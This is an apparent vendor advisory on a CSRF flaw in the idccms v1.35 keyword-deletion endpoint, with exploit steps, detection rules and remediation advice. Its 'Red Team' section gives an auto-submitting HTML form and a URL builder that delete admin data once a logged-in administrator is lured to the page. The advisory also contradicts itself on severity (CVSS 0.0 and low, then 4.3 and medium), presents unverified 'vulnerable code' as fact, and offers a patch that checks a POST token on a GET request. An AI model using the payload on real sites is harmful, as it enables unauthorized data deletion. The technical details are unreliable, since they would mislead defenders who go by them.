CVE-2024-39154

Executive Summary

CVE-2024-39154 is a Cross-Site Request Forgery (CSRF) vulnerability identified in idccms v1.35. The flaw exists in the /admin/keyWord_deal.php?mudi=del&dataType=word&dataTypeCN component, allowing an attacker to forge requests that delete keyword entries without the administrator's consent. This vulnerability can be exploited by tricking an authenticated admin into visiting a malicious page, leading to unauthorized deletion of data. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is low with a partial integrity impact. No official patch is available, and the vendor has not released a fix.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
• Base Score: 4.3 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

The threat level is medium due to the requirement for user interaction (admin clicking a link) and the limited impact (deletion of keyword data). However, in a CMS context, this could lead to loss of important metadata.

Deep Dive & Mechanics

The vulnerability is a classic CSRF in the idccms admin panel. The endpoint /admin/keyWord_deal.php with parameters mudi=del, dataType=word, and dataTypeCN performs a deletion operation without validating the origin of the request. The application does not implement anti-CSRF tokens or referer checks, making it susceptible to cross-site request forgery.

An attacker can craft a malicious HTML page that automatically submits a form or loads an image pointing to the vulnerable URL. When an authenticated admin visits this page, the browser sends the request with the admin's session cookies, causing the deletion of keyword entries.

The lack of CSRF protection is a common oversight in older CMS applications. The impact is limited to data deletion, but combined with other vulnerabilities, it could be used to disrupt site functionality.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would include CSRF token validation.

Vulnerable Code (idccms v1.35):

// /admin/keyWord_deal.php
if ($_GET['mudi'] == 'del') {
    $id = $_GET['id'];
    $sql = "DELETE FROM keyword WHERE id = $id";
    mysqli_query($conn, $sql);
    // No CSRF check
}

Patched Code (Hypothetical):

// /admin/keyWord_deal.php
session_start();
if ($_GET['mudi'] == 'del') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }
    $id = intval($_GET['id']);
    $sql = "DELETE FROM keyword WHERE id = $id";
    mysqli_query($conn, $sql);
}

The patched version adds a CSRF token check and sanitizes the input to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of idccms v1.35 with admin credentials.
• A web server to host the malicious page.

Exploit Steps:

1. Create a malicious HTML file (csrf_exploit.html):

<html>
<body>
<form action="http://target.com/admin/keyWord_deal.php?mudi=del&dataType=word&dataTypeCN" method="GET">
  <input type="hidden" name="id" value="1">
  <input type="submit" value="Click me">
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

2. Host this file on an attacker-controlled server.
3. Send the link to the admin (e.g., via email or social engineering).
4. When the admin clicks the link, the form auto-submits, deleting keyword entry with ID 1.

Automated Exploit (Python):

import requests

target_url = "http://target.com/admin/keyWord_deal.php?mudi=del&dataType=word&dataTypeCN&id=1"
# This requires the admin to be logged in; the exploit is client-side.
print("Send this URL to an authenticated admin: " + target_url)

Blue Team

Detection Steps:

1. Monitor for unusual GET requests to /admin/keyWord_deal.php with mudi=del parameters.
2. Check for missing Referer headers in admin requests.
3. Implement CSRF tokens in all admin forms.
4. Use web application firewalls (WAF) to block requests without proper origin headers.

Lab Setup:

• Install idccms v1.35 on a local server (e.g., XAMPP).
• Create an admin account and log in.
• Use Burp Suite to intercept and replay requests to test CSRF.

Indicators of Compromise (IOCs)

• Network IOCs:
  • GET requests to /admin/keyWord_deal.php?mudi=del&dataType=word&dataTypeCN&id=[0-9]+
  • Requests with missing or spoofed Referer headers.
• File IOCs:
  • Unexpected deletion of keyword entries in the database.
• Log IOCs:
  • Access logs showing multiple requests to the vulnerable endpoint from different IPs.

Detection Engineering

YARA Rule

rule idccms_csrf_exploit {
    meta:
        description = "Detects CSRF exploit attempts against idccms v1.35"
        author = "Valters IT"
        date = "2024-01-01"
    strings:
        $s1 = "keyWord_deal.php?mudi=del" ascii wide nocase
        $s2 = "dataType=word" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CSRF Exploit Against idccms
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects CSRF attempts targeting idccms keyword deletion
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - "keyWord_deal.php?mudi=del"
            - "dataType=word"
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http any any -> any any (msg:"idccms CSRF Exploit"; flow:to_server; content:"GET"; http_method; content:"/admin/keyWord_deal.php"; http_uri; content:"mudi=del"; http_uri; content:"dataType=word"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint if not needed.
2. Implement CSRF tokens in all admin forms.
3. Add referer header validation.
4. Restrict admin access to trusted IPs.

Long-term Fix:

• Upgrade to a patched version if available.
• Apply input validation and sanitization.
• Use a web application firewall (WAF) to block suspicious requests.

Workaround:

• Use a reverse proxy to add CSRF protection.
• Educate administrators about phishing attacks.

Valters IT
Securing Digital Frontiers